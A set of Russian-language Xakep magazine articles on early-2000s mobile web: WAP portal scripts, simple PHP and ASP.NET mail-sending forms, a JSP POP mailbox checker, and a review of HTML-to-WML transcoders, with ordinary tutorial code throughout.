Теперь мы находимся в полной боевой готовности! Простейший WML-скрипт приведен на листинге. Тебе тут должно быть все понятно, кроме тэга <card>. Поясняю: экранчики мобилы совсем не 15-дюймовые и вместить кучу текста не смогут, поэтому придумали карды, делящие страницу на несколько частей. Попробуй этот скрипт у себя на локалхосте, и все станет ясно.

Кстати, опробовать этот скрипт ты можешь с помощью WAP-эмулятора, например Deck-It (pyweb.com). Но займемся непосредственно готовыми решениями и движками.

Ipan-wml

Бесплатный скрипт на PHP для создания WAP-портала. Большое количество функций: новости, статьи, e-mail менеджер, поисковый модуль, каталогизатор линков, почтовая рассылка и многое другое. Существует также очень удобная страничка администратора. Правда, есть одно но, и это "но" - испанский язык =). Слить можешь тут - http://script.emanual.ru/?a=21&i=41, движок использует MySQL, поэтому после распаковки надо отредактировать файл - configuracion.inc.php, а именно:

$bdhost="localhost";

#Хост

$bdusuario="root";

#логин

$bdpass="";

#Пасс

$bdnombre="Ipan";

#Имя БД.

$bdtipo=MYSQL;

#Тип ДБ.

А испанский не так уж и отличается от русского, я про "$bdtipo" =). Но это не все, надо еще заполнить эту базу. Вот ты никогда не догадаешься, где находятся .sql-ы =) - в ./admon/tablas... Теперь можно пускать, но вот дальше проблема - сидеть с испанским словарем мне как-то расхотелось... хотя скрипты очень хорошие, проблем при интерпретации не было. Опять-таки кое-где понятно...


Спецвыпуск Xakep, номер #030, стр. 030-032-2, WAP-ENGINES - Динамический WAP!

WAP-ENGINES - Динамический WAP!

ManderX

Спецвыпуск Xakep, номер #030, стр. 030-032-2

WAP-portal

Помнишь, я тебе рассказывал про Phpnuke? Во-во, сейчас вспомнишь =). WAP-portal (оригинальное название) основан на Phpnuke (кстати, вышла 6.5 версия =) и может использовать таблицы своего большого брата (вспомни то, о чем я говорил выше), слить его можешь тут - http://script.emanual.ru/get?i=43, кстати, он на английском =). Функции у него приблизительно такие же, как и у Ipan-wml, есть еще чат. Установка обычная - распаковываешь куда надо, создаешь БД и заполняешь ее, используя WAP portal 0.1\jaffamonkey_WAP_portal\sql\tables_sql.txt. Теперь понеслась душа родимая! Если ты читал мою статью про пхп-нюк, думаю разберешься, мне лично скрипты понравились!

MyNews

Простой скрипт для публикации новостей на сайте с использованием WAP технологий. Тут все просто, после распаковки файлы для вап лежат в дире WAP, поэтому и натравлять браузер надо именно туда :). Там ты сразу нарвешься на index.php, он сделает редирект на index.wml, а там уже можно выбирать действия и передавать параметр detail.php =). Тоже ниче.

WAPPOP & GetMail

Больше всего скриптов для WAP я находил именно для проверки почты =(. Сейчас расскажу о двух таких особях, один на Perl, другой на Php. Сначала о том, который на Perl - GetMail.

GetMail можешь слить отсюда - http://verstalshiku.eto.krivoi-link/ego_nado.zamenit.na.verstke, написан он на Perl (хоть один!), поэтому cgi надо помещать в cgi-bin, а .wml в www. В getmailwp.cgi надо бы установить следующие переменные:

my $loginDir="/home/httpd/temp/";

#Путь до диры с временными файлами.

my $baseUrl="http://your.domain.com/getmail.wml";

#URL до getmail.wml

Хочу напомнить, что во временной дире файлы больше 10 дней не хранятся.

WAPPOP написан уже на PHP, плюс он требует MySQL. Качаем тут - http://www.sanisoft.com/WAPpop/, при установке надо отредактировать .htaccess файл в соответствии с твоей конфигурацией. Также надо отредактировать \lib\WAPlocal.inc и WAPpop.inc, ибо это не что иное, как файлы конфигурации.

Finish

Почему я не стал рассматривать другие скрипты? Тут есть две причины:

1. Чаще всего скрипты связаны с проверкой почты (выше я описал два).

2. Их просто не так много, как скриптов для обычной паги.

Но все же мы упустили ASP, каюсь, скрипты на ASP тоже существуют. На вот этом сайте ASP-маньяков http://aspfree.com/authors/michaelw/freeaspandWAPhosts.asp (ссылочка ведет к описанию забугорных free WAP-хостингов) в разделе Demos можешь найти описание (подчеркиваю - полное (!) описание, правда на инглише =) asp-скриптов под WAP. Желаю тебе удачи и купи наконец телефон с GPRS =).

ЛИСТИНГ 1

<?xml version="1.0"?>

<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"

"http://www.WAPforum.org/DTD/wml_1.1.xml">

<wml>

<card id="card1" title="Simple WAP Page">

<p>WAP Testing</p>

<p><a href="#card2">Link2Second Page (card)</a></p>

</card>

<card id="card2" title="Second WAP page=)">

<p>It works!!!</p>

<p><a href="#card1">Back</a></p>


Спецвыпуск Xakep, номер #030, стр. 030-032-3, WAP-ENGINES - Динамический WAP!

WAP-ENGINES - Динамический WAP!

ManderX

Спецвыпуск Xakep, номер #030, стр. 030-032-3

</card>

</wml>


Спецвыпуск Xakep, номер #030, стр. 030-034-1, Mail Sender

Mail Sender

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-034-1

(vme@front.ru) & ilich (ilich@atrus.ru)

Мы тут посмотрели на тебя всей командой, оценили то, что ты творишь, и пришли к совокупному мнению, что ты серьезный чувак, так как хочешь сделать в нете что-то полезное. А посему решили тебе помочь. Знаешь, достаточно часто меня очень напрягает необходимость пользоваться некоторыми моими мыльниками лишь только через проги а-ля "The Bat!", "M$ Outlook" и тому подобным. Хочется стать в некоторой степени независимым от набора софта на тачке. Хочется иметь все и вся через web-интерфейс! У тебя, я полагаю, те же спазмы.

PHP в общих чертах

Ты наверняка заметил, что когда ты регишь доменное имя второго уровня, тебе дают, в зависимости от размера твоих ягод... твоего кошелька, один или не один мыльник. Такие мыла хороши своим именем, но не особо хороши в плане легкости использования. Видишь ли, не все умные и волосатые дядьки, творившие сии сервисы, такие умные и волосатые. Некоторые из них заломались (или силенок не хватило :)) сделать удобный доступ через web-интерфейс к мылам раздаваемых доменов. Короче говоря, программа на сегодня - позволить себе (подразумеваем: тебе) слать много-много писем, не отходя от осла IE и его компании.

Замечу, чтоб данная байда фунциклировала корректно, надо направлять процесс ее деятельности на тех самых волосатых дядек, ведь только у них есть нужные нам почтовые сервера (точнее нам нужен только один из них - SMTP). К тому же нам, в принципе, по фигу, дадут тебе мыло или нет, ибо наличие данных серверов является для нас единственно приоритетным.

Для начала создадим хтмльку, а в ней форму, в которую будут вводиться тема сообщения, его текст и адрес получателя. Для этого в файле mail.html напиши (после <body>):

<form name="frm" action="mail_send.php" method="post">

Выражение "mail_send.php" - это имя файла со сценарием, который будет вызываться при нажатии кнопки "отослать". Для того чтобы форма выглядела более симпатично, настоятельно рекомендую оформить ее в виде таблицы. Также нам нужны два однострочных текстовых поля для адреса и темы и одно многострочное для текста сообщения. Обязательно укажи для каждого поля имя (атрибут "name"). В конце добавь две кнопки: для отправки сообщения и для очистки формы (<input type="submit"> и <input type="reset"> соответственно). Ну вот, собственно, форма и готова. Теперь напишем сценарий, который будет все это отправлять адресату. Сценарий будет на PHP, хочешь ты этого или нет. Итак, начинаем. Сначала создай файл mail_send.php, в нем напиши стандартное начало HTML-файла.

<html>

<head>

<title>PHP Mail Sender</title>

<meta http-equiv="Content-Type" content="text/html; charset=Windows-1251">

</head>

<body>

<?php

$rcptto = $HTTP_POST_VARS['rcptto'];

if ($rcptto=="")

{

print "<h4>Необходимо ввести получателя сообщения!</h4>";

print "<a href=\"javascript:history.back(1);\"><<Назад</a>";

} elseif (preg_match("/\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/",$rcptto)) {

$subj = $HTTP_POST_VARS['subject'];


Спецвыпуск Xakep, номер #030, стр. 030-034-2, Mail Sender

Mail Sender

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-034-2

$text = $HTTP_POST_VARS['text'];

if (mail($rcptto,$subj,$text))

{

print "<h4>Сообщение отослано</h4>";

} else {

print "<h4>Произошла ошибка</h4>";

}

} else {

print "<h4>Введенный текст не является адресом электронной почты. ";

print "Пример адреса: <code>me@myhost.ru</code>.</h4>";

print "<a href=\"javascript:history.back(1);\"><<Назад</a>";

}

?>

</body>

</html>

Конкретно об общем

Проще и быстрее всего это сделать с помощью регулярных выражений. Регулярные выражения - это такие строки-шаблоны, с помощью которых можно, например, проверить, удовлетворяет ли строка каким-нибудь требованиям. По регулярным выражениям написаны тучи мануалов и книг, поэтому я не буду подробно задерживаться на их описании, а лишь вкратце объясню принцип на примере адреса электронной почты. Итак, строка e-mail'а должна быть построена с учетом следующих требований: а) должен присутствовать знак @; б) слева от знака @ должно стоять как минимум одно слово или несколько слов, разделенных точкой или дефисом; в) справа от знака @ должны стоять как минимум два слова, разделенные точкой. Все эти условия определяет следующее регулярное выражение: /\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/. И нечего мне тут улыбаться! Лучше слухай мануал по данной строке. Отдельный ахтунг тому, что регулярное выражение записано между / и /. Запись \w+ соответствует одному или более слову. Круглые скобки выделяют отдельные подшаблоны. Звездочка * после подшаблона обозначает, что в проверяемой строке данный подшаблон может встретиться сколько угодно раз. В том числе и ни одного. После того как написали регулярное выражение, его надо использовать по назначению :). Для этого в PHP существует специальная функция preg_match(string pattern, string subject [, array matches]). В простейшем случае у нее два параметра: pattern и subject. Pattern - это, собственно, наше регулярное выражение, а subject - тестируемая на соответствие строка.

Функция возвращает true, если subject соответствует регулярному выражению, и false - в противном случае. Теперь понятно, что нам делать - после проверки на пустоту $rcptto сразу же проверяем истинность preg_match("/\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/", $rcptto). Если все ОК, то двигаем дальше, если нет - пишем отмазу и учим посетителя правильно жить.

Посылаем в...

Двигать дальше значит (наконец-то!) послать наше (нет, все-таки чужое) сообщение. Для этого в PHP существует целая функция mail(string to, string subject, string message [, string headers, [string parameters]]). Нам с тобой будут нужны только первые три параметра. Первый (to) - это адресат письма, второй (subject) - тема письма, ну и третий (message) - сам текст письма. В качестве первого параметра используем $rcptto, а второй и третий берем из $HTTP_POST_VARS['subject'] и $HTTP_POST_VARS['text']. Ты можешь спросить: "А от кого будут приходить все эти письма, то есть чей адрес будет написан в поле from при получении?". Ответ такой: отправитель для функции mail задается либо параметром "sendmail_from" в файле php.ini (под WinXXX он обычно лежит в %SystemRoot% - корневом каталоге системы), либо в переменной "headers" в формате "From: me@myhost.com".


Спецвыпуск Xakep, номер #030, стр. 030-034-3, Mail Sender

Mail Sender

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-034-3

Функция mail возвращает true, если при отправке не возникло проблем (по крайней мере с постановкой сообщения в очередь на отправку), иначе она возвращает, как нетрудно догадаться, false. Поэтому в случае успешного посыла (mail(...) == true) пишем, что все ОК, иначе выдаем сообщение об ошибке. Ну вот и все с PHP-версией, правда, сразу оговорюсь, что все это сработает только в том случае, если на хосте, где это все будет размещаться, будет корректно работать SMTP-сервер, а если это не так, то не обессудь. Открою тебе свою страшную тайну, что я... нет, не то, что ты подумал, но тоже многим не нравится :). Я уже долгое время являюсь осторожным сторонником продуктов Microsoft (осторожным, дабы не получить увечья от злобных противников этой самой Microsoft :))). Кстати, мне кажется, Microsoft - женского рода... Что-то я отвлекся...

Великий ASP.NET

Ну что ж. С PHP разобрались. Ну дык раз взялись тебе помогать, то поможем тебе с нескольких сторон. Теперь я для сравнения покажу, как сделать то же самое с помощью очень модной в последнее время технологии ASP.NET (еще ее называют ASP+). Она кардинально отличается от старой технологии ASP как в плане программирования, так и в плане быстродействия. Я постараюсь показать хотя бы на нашем, все-таки достаточно примитивном, примере, насколько проще и быстрее создавать динамические страницы на ASP.NET, чем на PHP (кто останется не согласен - пишите, буду отбиваться и бить самостоятельно). Правда, чтобы постичь все прелести ASP.NET, тебе придется закачать с сайта Microsoft такую штучку, как Microsoft.NET Framework (естественно, все это имеет смысл только для Windows :), причем у тебя должен быть установлен Internet Information Server - в Win2000/NT его можно поставить в любой момент с установочного диска Windows). Кроме того, Microsoft.NET Framework также можно достать на диске с Microsoft Visual Studio.NET на Горбушке (не мне тебя уму разуму учить! :)). Да, к тому же для того, чтобы разместить свою ASP.NET-страницу в Интернете, тебе придется найти хостинг с поддержкой именно .NET. Возрадуйся, ибо таковых до попы даже в ру-нете.

Приступаем, к кодированию. Сначала создай файл с именем, например, mailsend.aspx.

Обрати внимание на расширение *.aspx, ибо ошибка хотя бы на один символ в расширении приводит к немедленному краху сервака и всего Инета :).

ASP-шка

Глядя на код в листинге, слушай внимательно. Я объясню, что все это означает. Первая строка <%@Import Namespace="System.Web.Mail"%> указывает компилятору, что должно быть импортировано пространство имен System.Web.Mail и для записи его классов будет применяться укороченная запись. Что такое пространство имен, класс и т.д., я не буду объяснять, иначе не хватит места, отведенного для статьи. Все, кому это безумно интересно, могут почитать много-много килостраниц соответствующей литературы. Далее идет обычное начало HTML-файла, после чего между тегами <script language="C#" runat="server"> и </script> идет сценарий отправки письма. У тех, кто знаком с HTML и JavaScript, сразу встает... вопрос: что это за язык - C#? Это новый язык, созданный Microsoft специально для .NET. Одно смущает - он ОЧЕНЬ похож на Java :). Параметр runat="server" говорит о том, что сценарий будет выполняться на стороне сервера.


Спецвыпуск Xakep, номер #030, стр. 030-034-4, Mail Sender

Mail Sender

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-034-4

<%@Import Namespace="System.Web.Mail"%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >

<html>

<head>

<title>Mail Sender</title>

<script language="C#" runat="server">

protected void sendmail(object sender, EventArgs e)

{

try

{

SmtpMail.Send("me@myhost.com",rcptto.Text,subject.Text,text.Text);

lab.Text = "Сообщение отослано.";

rcptto.Text = "";

subject.Text = "";

text.Text = "";

} catch (Exception ex)

{

lab.Text = "Произошла ошибка: "+ex.ToString();

}

}

</script>

</head>

<body>

<form id="Frm" method="post" runat="server">

<asp:Label ID="lab" Runat="server" ForeColor="#ff0000"/>

<table cellpadding="10" cellspacing="0" border="0">

<tr><td>

<asp:Label Runat="server">Кому:</asp:Label></td>

<td><asp:TextBox ID="rcptto" Runat="server" TextMode="SingleLine" Columns="50"/>

</td></tr>

<tr><td>

<asp:Label Runat="server" ID="lab1">Тема:</asp:Label></td>

<td><asp:TextBox ID="subject" Runat="server" TextMode="SingleLine" Columns="50" />

</td></tr>

<tr><td valign="top"><asp:Label Runat="server" ID="lab2">Текст:</asp:Label></td>

<td><asp:TextBox ID="text" Runat="server" TextMode="MultiLine" Columns="50" Rows="10"/>

</td></tr>

<tr><td colspan="2">

<asp:Button ID="submit" Text="отправить" Runat="server" OnClick="sendmail"/>

<input type="reset" value="очистить"></td></tr>

<tr><td colspan="2">

<asp:RequiredFieldValidator runat="server" id="emailv1" controlToValidate="rcptto" Display="Dynamic" style="color:red" ErrorMessage="Необходимо указать получателя сообщения!<br>"/>

<asp:RegularExpressionValidator runat="server" id="emailv2" controlToValidate="rcptto" ValidationExpression="\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" Display="Dynamic" style="color:red">

Введенный текст не является адресом электронной почты. Пример адреса:

<code>me@myhost.ru</code>.<br/>

</asp:RegularExpressionValidator>

</td></tr>

</table>

</form>

</body>

</html>

Самое главное

Ну а теперь вернемся к скрипту, помещенному между тегами <script> и </script>. Весь скрипт состоит из одной процедуры, которая выполняется при нажатии на кнопку "отправить". Процедуре передаются два аргумента: "object sender" и "EventArgs e". Как истинный прогер, ты, конечно же, понимаешь, что Sender - объект, в котором возникло событие (в нашем случае - нажатие на кнопку), переменная "e" содержит данные о событии. Далее с помощью процедуры SmtpMail.Send(string from, string to, string subject, string text) отсылаем сообщение адресату (названия параметров говорят за себя), перехватывая при этом исключение (если оно возникнет - пишем сообщение об ошибке). Осталась самая малость - очистить поля для новой отправки, что я и сделал, присвоив их свойству Text значения пустой строки.


Спецвыпуск Xakep, номер #030, стр. 030-034-5, Mail Sender

Mail Sender

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-034-5

Ну, вот и все. По-моему, получилось очень просто и быстро. Выбирай вариант по душе. Знай, что PHP всегда работает с одной и той же достаточно большой скоростью. А ASP со второго запуска (типа первый раз - компилится, советую произвести его самостоятельно) начинает рвать так, что никакой PHP и рядом не стоял! Если ты заинтересован написанием Web-приложений на ASP.NET, пиши, задавай вопросы, ибо за этим будущее.


Спецвыпуск Xakep, номер #030, стр. 030-038-1, POP дает! - оперативная почтовая инфа

POP дает! - оперативная почтовая инфа

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-038-1

(vme@front.ru) & ilich (ilich@atrus.ru)

Зачем, спрашивается, реальному кулхацкеру грузить тучу разной лажи, желая узнать, хотят с ним общаться по старому доброму мылу или нет? Ведь наваять маленькую штучку, умело сообщающую ему о вновь прибывших, есть дело одной бутылки пива. Даже быстрее... А работать эта хрень у нас будет и того быстрее, знай только сиди да наслаждайся.

Даю расклад

Сегодня, чувак, ты поимеешь счастье получить толчок. Боюсь тебя разочаровать, но в сантехнику я не вдарился - получишь ты не керамическое изделие с другом вантозом, а идею, как можно значительно упростить свое существование. Пинок в счастливое будущее, иначе говоря :). Идея такова.

Замутим-ка мы с тобой пагу, которая будет подключаться к POP-серверу и получать с него информацию о количестве и общем объеме почтовых сообщений. Если ты ни разу не грамотный, разъясняю, что POP расшифровывается как Post Office Protocol - почтовый протокол - используется для передачи почтовых сообщений и служебной информации от сервера клиенту и не имеет ничего общего с попсой :). Запомни.

Для чего нам такая фигня нужна? Этот вопрос мы задали Дроничу, фанату мобильных технологий: "Раньше, когда мне надо было узнать, что творится в моем почтовом ящике, мне приходилось отгонять от компа живых людей нецензурными матами. Потом я открыл для себя почтовый клиент в мобильном телефоне, но и он не решал моих проблем, так как принимал всю инфу с сервера, сволочь! А теперь мне достаточно зайти на страничку со скриптом через WAP-гейт и в считанные секунды выяснить количество спама на душу населения. Ильич - втирает так, как другим не под силу!".

Поехали, создаем новый HTML-файл с именем, например, "main.html". Пишем в нем стандартное начало, задаем заголовок и все такое. После этого в теле документа надо задать форму для отправки данных на сервер. Атрибуту "action" тега "form" задай значение, например, "frame.jsp" - это имя файла со сценарием, который будет обрабатывать нашу форму. Расширение "*.jsp" обозначает файл Java Server Pages, то бишь та самая технология, которую я использовал при сотворении сценария обработчика. О том, что есть это, чуть позже. Оформляем форму в виде таблицы для более ровного расположения полей. Некоторые искренне полагают, что так красивее :)... Как это делается, полагаю, учить не надо потому, что азы html знают все.

Что и где?

В первое текстовое поле формы будем вводить адрес POP-сервера, на котором мы хотим проверить почтовый ящик. Конечно, по-хорошему надо бы проверить, насколько корректно введен адрес сервера, но я этого делать сейчас не буду, ибо не в этом филейная часть проблемы. Если ты особо педантичный перец и без такого геморроя физически не протянешь, можешь использовать регулярные выражения на JavaScript. Для этого надо заменить кнопку типа "submit" на простой "баттон" и задать JavaScript-обработчик, содержащий проверку на соответствие вводимых данных регулярному выражению. В случае успеха просто пишем "frm.submit()", иначе отправляем форму далеко и надолго, на доработку то есть. Регулярное выражение, нужное для проверки, выглядит примерно так: "\w+(.\w+)*(.\[a-z]+)+". Так что, если желание не пропало, можешь потренироваться сам.


Спецвыпуск Xakep, номер #030, стр. 030-038-2, POP дает! - оперативная почтовая инфа

POP дает! - оперативная почтовая инфа

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-038-2

Двигаемся дальше. Во второе текстовое поле с именем "login" будем вводить имя пользователя для почтового ящика. Оно обычно совпадает с тем, что находится до значка "@" в адресе электронной почты. Например, если адрес мыла "vasya@pop.zhopaserver.ru", то имя пользователя для этого почтового ящика будет "vasya". В третье поле типа "password" с именем "pass" нужно будет вводить пароль для почтового ящика. Ибо сервак дает добро лишь при нормальном к нему подключении, то есть при наличии как логина, так и пароля. Яснее ясного.

Дальше помещаем две стандартные кнопки "submit" и "reset" (надеюсь, тебе не надо объяснять, для чего они нужны). Закрываем теги. Все, с этой страницей покончено.

Если ты все еще ментально со мной, знай, что нашим следующим действием станет сотворение сценария, который будет подрубаться к POP-серверу и просить его дать инфу о количестве сообщений и их суммарном размере. Для написания этого сценария я выбрал язык Java и технологию создания динамических Web-приложений Java Server Pages, которая использует Java. Есть куча серверов, которые поддерживают Java Server Pages и сервлеты Java. А еще Джаву очень любит Дронич :). Так что юзай, не стесняйся. Назову, например, Apache Tomcat, поставляемый вместе с Borland Java Builder. JSP имеют довольно широкие возможности, но, как мне кажется, существенно уступают ASP.NET. Я выбрал JSP для написания сценария, потому что в jdk 1.3 есть класс для работы с POP-серверами. В ASP.NET же такого не имеется, по крайней мере в стандартном пакете. Итак, создаем файл frame.jsp. В нем пишем

<%@ page import="ipworks.*"%>

<%@ page contentType="text/html; charset=windows-1251" %>

Первая строка импортирует пакет "ipworks", который содержит интересующий нас класс, а вторая строка задает заголовок HTTP Content-Type для данной страницы.

Дальше пишем обычное начало документа HTML, а после тега <body> вставляем кусок Java-кода (код должен быть между <% и %>), в котором сначала создаем экземпляр класса "Pop", который нужен для обращения к POP-серверу. Назовем этот экземпляр "pop" (запомни раз и навсегда или запиши где-нибудь, что язык Java чувствителен к регистру, поэтому "Pop" и "pop" - разные имена). Далее присваиваем свойствам "MailServer", "User" и "Password" объекта "pop" значения, позаимствованные из формы.

Connect

После этого пробуем подключиться к серваку. Для этого присваиваем свойству Action объекта "pop" значение "a_Connect", при этом происходит попытка подключения к серверу. Однако эта процедура может закончиться безуспешно (это, увы, не от нас уже зависит), а язык Java типа строгий и даже хуже, так как требует обязательной обработки исключений (фактически ошибок). Поэтому мы заключаем нашу попытку подключения и то, что должно быть выполнено в случае успеха, в блок try {...}, а то, что выполняется в случае неудачи, - в блок catch (Exception ex) {...}.


Спецвыпуск Xakep, номер #030, стр. 030-038-3, POP дает! - оперативная почтовая инфа

POP дает! - оперативная почтовая инфа

Владимир Егоров aka Dr.NET

Спецвыпуск Xakep, номер #030, стр. 030-038-3

В случае успеха выводим число сообщений. Делаем это так: метод println(int number) объекта "out" выводит "number" в HTML-ответ сервера, а метод getMessageCount() объекта "pop" возвращает число сообщений на сервере. Аналогично метод getTotalSize() возвращает общий размер сообщений (в байтах). Если, мягко выражаясь, что-то пошло не так и соединение с POP-сервером по какой-то причине не было установлено, то в блоке catch пишем что-то, об этом откровенно нам сообщающее. Например, "Невозможно подключиться к серверу" или "Fuck America!" - зависит сугубо от твоей ориентации и количества потребляемого в день бензина :). В конце закрываем соединение методом "setAction", устанавливая свойство "Action" в "a_Disconnect", и закрываем теги <body> и <html>.

Вот, собственно, и все, что я желал рассказать тебе по данной теме. Если никак не выходит, воспользуйся слабит... напиши, тебе в срочном порядке будет выслан функционально адекватный образец воплощения рассматриваемого толчка. Оговорюсь только вот как: это лишь мизерная толика того, что можно наворотить на этой "быстро загружающейся" паге, разобравшись как следует в соответствующих методах. То есть, к примеру, можно выводить не только количество и общий размер писем, но и различную лабуду, характеризующую эти письма, как то: тема, дата поступления и тому подобное. Зависит это лишь только от тебя.


Спецвыпуск Xakep, номер #030, стр. 030-040-1, ЛОМАЕМ СЕРВАК С МОБИЛЫ! - транскодинг html2wml.

ЛОМАЕМ СЕРВАК С МОБИЛЫ! - транскодинг html2wml.

ManderX

Спецвыпуск Xakep, номер #030, стр. 030-040-1

(forother@fromru.com)

Потребность в инете в различных местах (бары, клубы, тайга и т.д.) возрастает с каждым днем. GPRS позволяет проверять почту хоть на северном полюсе, а как насчет других возможностей? Иногда нужно и новости почитать, и whois с пингом сделать, и другие вещи, доступные при обычном серфе. Но тут встает главная проблема: мобилы не приспособлены под полноценный серф в силу маленьких экранов и убогих протоколов, а чтобы были доступны всякий всякие сетевые ресурсы, например те же хакерские тулзы, придется колбасить еще одну версию сайта, но уже в WML, что отнимает достаточно много времени. Но выход есть: народ постарался и уже создал специальные конверторы html2wml aka транскодеры!

ТРАНСКОДИНГ

Технология транскодирования, или просто транскодинг подразумевает преобразование какого-то контента из одного формата в другой на лету. Языков разметки в настоящее время используется довольно много, поэтому тема актуальна. Применительно к WAP нас будет интересовать трансляция имеющегося HTML контента в WML. Фишка в том, что юзеру может срочно понадобиться инфа с какого-либо ресурса или какой-либо веб-сервис, когда под рукой есть только мобильник. Естественно, он не может ждать, пока веб-мастер настругает WML-версию паги. Да и веб-мастеру нет смысла тратить время на WML-версию сайта, если это значительно не увеличит посещаемость. Выход один - автоматизировать процесс конвертации HTML в WML. Для этого и нужен транскодинг.

ХАК С МОБИЛЫ? ЛЕГКО!

Нас особенно интересует возможность воспользоваться какой-либо хак-тулзой с мобильного телефона. Согласись, все просто выпадут в осадок, если ты с мобилки сможешь прогнать IP'шник черз whois или просканить сервак на открытые порты.

Идея, в принципе, простая. Нужно наладить доступ к хак-проге через cgi-скрипт (естественно, у тебя должен быть шелл с соответствующими правами) и сделать веб-интерфейс, а доступ к веб-интерфейсу с мобильного телефона обеспечит транскодер.

ТРАНСКОДЕРЫ НА ПРАКТИКЕ

Но это вся голая теория, а как обстоят дела на практике? Транскодеры бывают в виде программы, которая глотает HTML и выводит контент уже в виде WML, но нас это не устраивает, так как конвертировать надо на лету (on the fly то есть =)), так что тестировать будем скрипты на php, perl и т.д. Претендентов оказалось не так много, всего лишь два достойных, но зато каких! Хочу заметить, я не гарантирую тебе полную конвертацию - сайт может вообще не преобразоваться, я уже не говорю про графику... Ее ты точно не увидишь! Но в то же время текст - он и в Африке текст, и прочитать его вполне возможно, а результаты моего исследования очень даже впечатляющие =).

H2W

Первый транскодер это - H2W servlet 1.83, единственный транскодер, крохотное упоминание которого нашлось в РуНете. Что такое Java Servlet? Сервлеты - это технология Java. Они похожи на java-апплеты, которые закачиваются к тебе на тачку и добавляют какие-либо функции твоему браузеру. Только сервлеты предназначены для увеличения возможностей web-сервака.

Скачать этот сервлет можешь тут -http://www.servletsuite.com/servlets/h2w.htm. Хотя тебе может и не понадобится туда заходить, так как он уже установлен и тебе предлагается его поюзать (да и с Java ты наверно не хочешь геморроится), если поискать, то можно найти еще несколько уже проинсталенных сервлетов. Но вернемся к нашему пациенту: набери в мобиле или в wap-эмуляторе (Opera, кстати, неплохой wap-эмулятор) этот URL - http://wap.inetique.ru/servlet/H2W, а там введешь адрес на который нужно попасть или же сразу: http://wap.inetique.ru/servlet/H2W?any_url. Url длинный, но ты можешь внести его в закладки.


Спецвыпуск Xakep, номер #030, стр. 030-040-2, ЛОМАЕМ СЕРВАК С МОБИЛЫ! - транскодинг html2wml.

ЛОМАЕМ СЕРВАК С МОБИЛЫ! - транскодинг html2wml.

ManderX

Спецвыпуск Xakep, номер #030, стр. 030-040-2

Огромный минус H2W - это то, что он не полностью халявный, то есть после 10 нажатия на кнопку Next (что бы прочитать всю страничку) H2W отказывается транскодить =(. Но у этой же компании есть бесплатный сервлет Transcoder Filter ver. 1.2, который занимается тем же, что и H2W servlet. Скачать можешь тут: http://www.servletsuite.com/servlets/towmlflt.htm. Я его не тестировал, но, думаю, он работает примерно так же, как и предыдущий.

Теперь надо бы протестить сам сервлет. Я сразу же решил показать тебе www.xakep.ru на мобиле, но обломался - вап-эмулятор выдал ошибку... Я уже думал, что H2W полная лажа, но решил на всякий случай зайти на securitylab.ru и... работает!!! Потом зашел на другие сайты - все пашет! А продемонстрировать его работу я решил на примере winfo.org - второго, наиболее близкого SPEZ'y сайта (использовал эмулятор Deck-It):

1. Заходим на winfo.org через транскодер, пролистываем чуть ниже и видим линки (Рис. 1).

2. Я зашел по линку "статьи" - появилось то же самое, что и на первом скрине, в смысле попал-то я куда надо, но у всех страниц одинаковые хэдеры aka заголовки, так что всегда приходится листать ниже. Нажал пимпу "Next" и увидел нужный контент (Рис. 2).

3. Далее еще раз нажал пимпу "Next" и узрел списочек статей (самая последняя была статья Дроныча =)) (Рис. 3).

4. Делать нечего - протоптал на линк и после нескольких нажатий на "Next" набрел на начало статьи. В H2W все буквы сливаются, поэтому приходится отделять слова мысленно самому (это только когда большие куски текста) (Рис. 4). Если ты не разобрал, что на скрине, то вот начало: "ни разу в жизни не был на...". Вот таким вот макаром была прочтена статья Дроныча.

А вот формы он так и не захотел транскодить, так что никакого общения между сайтом и тобой не жди. Это значит, что всякие whois'ы и ping'и отдыхают.

HTML2WML

Еще один транскодер, но уже на Perl (а это плюс). Правда, скрипт требует дополнительные модули, которые ты можешь найти тут: http://www.cpan.org/. То, что ему нужно хорошо видно в начала cgi'шки (use) или в INSTALL файле. Если учесть, что перл более популярен, чем java-сервлеты, то и html2wml более востребован, а инфу по установке модулей, интерпретатора и Апача найти сейчас не сложно, то есть установить все ты сможешь его с легкостью. Одно то, что этот проект тусуется на sourceforge.net мне уже понравилось. Если еще не догадался, то качаем тут - http://htmlwml.sourceforge.net, а док по тулзе тут: http://htmlwml.sourceforge.net/docs/readme.txt.


Спецвыпуск Xakep, номер #030, стр. 030-040-3, ЛОМАЕМ СЕРВАК С МОБИЛЫ! - транскодинг html2wml.

ЛОМАЕМ СЕРВАК С МОБИЛЫ! - транскодинг html2wml.

ManderX

Спецвыпуск Xakep, номер #030, стр. 030-040-3

Тулза может работать как шелл-команда или как cgi'шка. Второе нам как раз и надо. Использовать так: /cgi-bin/html2wml.cgi?url=http://www.servak.com/index.html (обязательно нужно указывать "http://"). Тулза имеет хорошую документацию, много параметров и настроек, что есть гуд. Еще имеет кучу сэмплов, для теста и форму. Сразу видно, что ребятки упорно занимаются проектом и не бросят его.

Хорошо прокомментированные настройки сможешь найти в самой cgi'шкt, а параметры запуска - в файле readme.txt (ссылка выше).

Один из плюсов этого скрипта - разделение не на карды, а на деки. Поясняю: при разделение сайта на карды (как это делает H2W) приходится часто жать "Next", так как кадров становится очень много, ведь сайты-то не маленькие, а памяти может не хватить, поэтому лучше использовать разделение деками (смотри скрин). В доке так же содержится море теоретической инфы, полезные линки, обзор эмуляторов WAP, а инфа, как известно, лишней не бывает.

